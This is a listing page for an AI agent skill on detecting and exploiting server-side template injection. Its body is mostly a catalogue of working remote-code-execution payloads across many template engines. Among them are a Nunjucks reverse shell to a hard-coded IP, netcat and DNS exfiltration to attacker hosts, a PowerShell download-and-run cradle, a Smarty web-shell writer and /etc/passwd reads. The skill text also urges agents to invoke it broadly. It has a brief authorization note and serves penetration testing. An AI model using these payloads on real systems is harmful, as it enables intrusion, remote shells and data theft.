# Ssti Server Side Template Injection

> Server-Side Template Injection (SSTI) detection and exploitation. Use this skill whenever the user mentions template injection, SSTI, Jinja, Twig, FreeMarker, Velocity, Thymeleaf, or any template engine vulnerability. Also trigger when users need to test web applications for template injection vulnerabilities, identify template engines, or craft SSTI payloads for security assessments. Make sure to use this skill for any web security testing involving template engines, even if the user doesn't explicitly say "SSTI" or "template injection".

- Skill: `abelrguezr/ssti-server-side-template-injection` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/ssti-server-side-template-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ssti-server-side-template-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/ssti-server-side-template-injection

---


# SSTI (Server-Side Template Injection) Testing

A comprehensive skill for detecting, identifying, and exploiting Server-Side Template Injection vulnerabilities across multiple template engines and programming languages.

## Quick Start Workflow

1. **Detect** - Fuzz the target with template injection payloads
2. **Identify** - Determine which template engine is in use
3. **Exploit** - Craft payloads for the specific engine
4. **Escalate** - Move from detection to RCE if possible

## Detection Phase

### Initial Fuzzing

Start by injecting these special characters to detect template processing:

```
${{<%[%'"}}%
```

**What to look for:**
- Errors thrown (reveals vulnerability and potentially the engine)
- Payload missing from response (server processes it differently)
- Mathematical evaluation (e.g., `{{7*7}}` returns `49`)

### Distinguish from XSS

**Plaintext Context** - Server evaluates template expressions:
- `{{7*7}}` → `49` (SSTI)
- `{{7*7}}` → `{{7*7}}` (XSS or no vulnerability)

**Code Context** - Test dynamic behavior:
- Change `greeting=data.username` to `greeting=data.username}}hello`
- If output changes dynamically, SSTI is likely present

### Engine Identification Payloads

Use these to identify the template engine:

| Engine | Test Payload | Expected Result |
|--------|-------------|-----------------|
| Jinja2 | `{{7*7}}` | `49` |
| Twig | `{{7*7}}` | `49` |
| FreeMarker | `${7*7}` | `49` |
| Velocity | `${7*7}` | `49` |
| Thymeleaf | `${7*7}` or `[[${7*7}]]` | `49` |
| ERB (Ruby) | `<%= 7*7 %>` | `49` |
| ASP | `<%= 7*7 %>` | `49` |
| Go | `{{ . }}` | Data structure |

## Tools

### Automated Scanners

**TInjA** - Efficient SSTI + CSTI scanner with polyglots:
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```

**SSTImap** - Crawler and SSTI detector:
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```

**Tplmap** - Automated SSTI exploitation:
```bash
python3 tplmap.py -u 'http://target.com/page?name=John*' --os-shell
python3 tplmap.py -u "http://target.com/page?user=InjectHere*" --level 5 -e jade
```

## Exploitation by Engine

### Java Template Engines

#### FreeMarker

**Basic detection:**
```
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 (legacy)
```

**RCE payloads:**
```freemarker
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
```

**Sandbox bypass (versions < 2.3.30):**
```freemarker
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```

#### Velocity

```velocity
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#end
```

#### Thymeleaf

**Detection:**
```
[[${7*7}]]
${7*7}
```

**SpringEL RCE:**
```thymeleaf
${T(java.lang.Runtime).getRuntime().exec('calc')}
```

**OGNL RCE:**
```thymeleaf
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```

**Expression preprocessing:**
```thymeleaf
#{selection.__${sel.code}__}
```

#### Spring Framework

**Basic RCE:**
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```

**Bypass filters** - Try these delimiters if `${...}` doesn't work:
- `#{...}`
- `*{...}`
- `@{...}`
- `~{...}`

**Read /etc/passwd:**
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

**Generate encoded payloads:** Use `scripts/generate_java_payload.py` to create character-encoded command payloads.

#### Jinjava / HuBL (HubSpot)

**Detection:**
```
{{'a'.toUpperCase()}} → 'A'
{{ request }} → com.[...].context.TemplateContextRequest@23548206
```

**RCE:**
```jinja
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}}
```

**With output capture:**
```jinja
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"netstat\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}
```

#### Groovy

**Basic payload:**
```groovy
import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "whoami";
    assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
```

**With output capture:**
```groovy
import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "whoami";
    out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
    cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".attacker.com";
    java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
```

### PHP Template Engines

#### Twig

**Detection:**
```
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
```

**Information gathering:**
```twig
{{_self}}
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
```

**File read:**
```twig
"{{'/etc/passwd'|file_excerpt(1,30)}}"
```

**RCE payloads:**
```twig
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
```

**Suppress errors:**
```twig
{{["error_reporting", "0"]|sort("ini_set")}}
```

#### Smarty

**Detection:**
```
{$smarty.version}
```

**RCE:**
```smarty
{php}echo `id`;/php} // deprecated in v3
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
```

### Node.js Template Engines

#### Nunjucks

**Detection:**
```
{{7*7}} = 49
{{foo}} = No output
#{7*7} = #{7*7}
```

**RCE:**
```nunjucks
{{
  range.constructor(
    "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
  )()
}}
```

**Reverse shell:**
```nunjucks
{{
  range.constructor(
    "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
  )()
}}
```

#### Handlebars

**Path traversal:**
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary '{"profile":{"layout": "./../routes/index.js"}}' 'http://target:9090/'
```

**RCE (complex):**
```handlebars
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

#### Pug.js / Jade

**Detection:**
```
#{7*7} = 49
```

**RCE:**
```pug
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
```

**Jade style:**
```jade
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

#### JsRender

**Server-side RCE:**
```jsrender
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```

### Python Template Engines

#### Jinja2

**Detection:**
```
{{7*7}} = Error (in some configs)
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
```

**Debug:**
```jinja
{% debug %}
```

**RCE (without __builtins__):**
```jinja
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```

#### Tornado

**Detection:**
```
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
```

**RCE:**
```tornado
{% import os %}
{{os.system('whoami')}}
```

#### Mako

**RCE:**
```mako
<%
import os
x=os.popen('id').read()
%>
${x}
```

### Ruby Template Engines

#### ERB

**Detection:**
```
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
```

**RCE:**
```erb
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/etc/passwd').read %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
```

**With Open3:**
```erb
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
```

#### Slim

**Detection:**
```
{ 7 * 7 }
```

**RCE:**
```
{ %x|env| }
```

### .NET Template Engines

#### Razor

**Detection:**
```
@(2+2) → Success
@() → Success
@("{{code}}") → Success
@ → Success
@{} → ERROR!
@{ → ERROR!
```

**RCE:**
```razor
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
```

**Encoded PowerShell:**
```razor
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc [base64]");
```

#### ASP Classic

**Detection:**
```
<%= 7*7 %> = 49
<%= "foo" %> = foo
<%= foo %> = Nothing
```

**RCE:**
```asp
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')").StdOut.ReadAll() %>
```

### Go Template Engine

**Detection:**
```
{{ . }} → Reveals data structure
{{printf "%s" "ssti" }} → ssti
{{html "ssti"}} → ssti
{{js "ssti"}} → ssti
```

**XSS bypass:**
```go
{{define "T1"}}alert(1){{end}}{{template "T1"}}
```

**RCE** - Requires object with executable methods:
```go
{{ .System "ls" }}
```

### Perl (Mojolicious)

**Detection:**
```
<%= 7*7 %> = 49
<%= foobar %> = Error
```

**RCE:**
```perl
<%= perl code %>
<% perl code %>
```

## Common Techniques

### Command Execution Patterns

**Java Runtime:**
```java
T(java.lang.Runtime).getRuntime().exec('command')
```

**Python os module:**
```python
os.popen('command').read()
os.system('command')
```

**Node.js child_process:**
```javascript
require('child_process').execSync('command')
```

**Ruby:**
```ruby
system('command')
`command`
IO.popen('command').read
```

### File Operations

**Read files:**
- Java: `T(org.apache.commons.io.IOUtils).toString(Runtime.getRuntime().exec('cat file').getInputStream())`
- Python: `open('file').read()`
- Ruby: `File.open('file').read`
- Node.js: `require('fs').readFileSync('file')`

### Environment Variables

**Java:**
```java
${T(java.lang.System).getenv()}
```

**Python:**
```python
{{config}}
{{settings}}
```

## Scripts

Use the bundled scripts for common tasks:

- `scripts/generate_java_payload.py` - Generate character-encoded Java payloads
- `scripts/ssti_detect.py` - Automated detection fuzzing

## Safety Notes

- Always have authorization before testing
- Use isolated environments for RCE testing
- Document findings responsibly
- Consider the impact of each payload

## References

- [PortSwigger SSTI Research](https://portswigger.net/web-security/server-side-template-injection)
- [PayloadsAllTheThings SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)
- [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
- [Websites Vulnerable to SSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)

